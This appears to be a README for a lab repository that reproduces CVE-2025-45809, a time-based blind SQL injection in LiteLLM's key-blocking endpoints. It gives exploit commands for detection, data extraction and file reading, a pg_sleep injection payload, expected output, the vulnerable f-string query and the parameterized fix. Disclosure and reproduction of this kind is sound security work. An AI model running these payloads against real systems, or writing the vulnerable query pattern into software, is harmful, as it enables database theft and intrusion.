
Code to reproduce the vulnerability individually
/key/block (Time-Based Blind SQLi)LiteLLM v1.65.4 (versions before v1.81.0)
/key/blockand/key/unblockendpoints have a SQL injection vulnerability in thekeyparameter. Attackers can use time-based blind injection techniques to steal database content and read server files.
| Field | Value |
|---|---|
| CVE | CVE-2025-45809 |
| GHSA | GHSA-cgmh-xxmq-hp46 |
| CVSS v3.1 | 5.4 (MEDIUM) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
| CWE | CWE-89 (SQL Injection) |
| Affected | LiteLLM < 1.81.0 (confirmed on v1.65.4) |
| Fixed | v1.81.0+ (parameterized query fix) |
| Published | 2025-07-03 |
| Discovered by | shadia0 (via Huntr bounty) |
| Links | NVD • Huntr • Snyk |
LiteLLM's /key/block and /key/unblock endpoints are used to manage API key blocking/unblocking.
When processing the key parameter, these endpoints directly concatenate user input into SQL query strings (using f-string formatting), without using parameterized queries, leading to a SQL injection vulnerability.
| Endpoint | Method | Injected Parameter |
|---|---|---|
/key/block | POST | key (JSON body) |
/key/unblock | POST | key (JSON body) |
pg_sleep() function to confirm injection through response time differencespg_read_file() function to read server files# 1. 启动 PostgreSQL + 脆弱版 LiteLLM
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 确认 SQL 注入(检测 pg_sleep 延时)
python3 exploit/exploit.py --mode check --target http://localhost:4000
Note: When running the exploit for the first time, it will automatically call
/key/generateto create an API key, triggering Prisma to create theKeydatabase table. This is a necessary prerequisite for the/key/blockendpoint to reach the vulnerable SQL query path. If this step is skipped,/key/blockwill directly return 401 because theKeytable is not initialized, preventing the injection from being triggered.
python3 exploit/exploit.py --mode extract-user --target http://localhost:4000
python3 exploit/exploit.py --mode extract-version --target http://localhost:4000
python3 exploit/exploit.py --mode file-read --target http://localhost:4000
docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed
### Expected Output
**Injection Confirmation (--mode check):**
Target : http://localhost:4000 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.01s (HTTP 401)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP 200)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 3.01s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 5.01s (N/A)
[*] Analysis: Baseline time: 0.01s pg_sleep(3): 3.01s (expected ~3s) pg_sleep(5): 5.01s (expected ~5s)
[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful! Response increased from 0.01s to 5.01s
**Fixed version rejects injection:**
Target : http://localhost:4001 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.00s (HTTP 400)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP N/A)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 0.00s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 0.00s (N/A)
[*] Analysis: Baseline time: 0.00s pg_sleep(3): 0.00s (expected ~3s) pg_sleep(5): 0.00s (expected ~5s)
[+] Fixed version: No time delay detected (expected).
---
## Technical Details
### Vulnerable Code
In LiteLLM v1.65.4, the processing logic for the `/key/block` endpoint is similar to the following (simplified):
```python
# Vulnerable code (v1.65.4) — using f-string to concatenate SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
key = key_data.get("key", "")
# Directly concatenate user input into SQL query!
query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
await database.execute(query)
return {"status": "success"}
Attackers inject a PostgreSQL time delay function into the key parameter:
' OR (SELECT pg_sleep(5)) IS NULL --
The concatenated SQL becomes:
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'
| Test Scenario | Response Time | Conclusion |
|---|---|---|
| Normal request (key=test) | ~0.01s | Baseline |
| pg_sleep(3) | ~3.01s | Injection effective |
| pg_sleep(5) | ~5.01s | Injection confirmed |
LiteLLM v1.65.4 uses Prisma ORM to manage the database. The Key table adopts a lazy creation strategy—the Key table does not exist in PostgreSQL until the first call to /key/generate to create an API key. This causes the /key/block endpoint's key validation query (WHERE key='{input}') to return 401 before reaching the vulnerable SQL code path, because the table does not exist.
The current PoC has automatically handled this issue: The exploit script calls /key/generate to create an API key before sending the injection payload, ensuring the database table is ready.
Note: On first container startup, wait approximately 30-60s (Prisma CLI installation + database initialization). Execute the exploit only after
Uvicorn running on http://0.0.0.0:4000appears in the logs.
CVE-2025-45809/
├── README.md # This file
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml # LiteLLM config with DB connection
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # SQL injection payload builder
├── docs/
│ └── advisory.md
└── screenshots/
└── README.md
Fixed in v1.81.0, using parameterized queries (Prepared Statements) instead of f-string concatenation:
# Fixed — using parameterized queries
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key}) # Parameter safely bound
key parameterDisclaimer: This content is provided for educational purposes and authorized security testing only.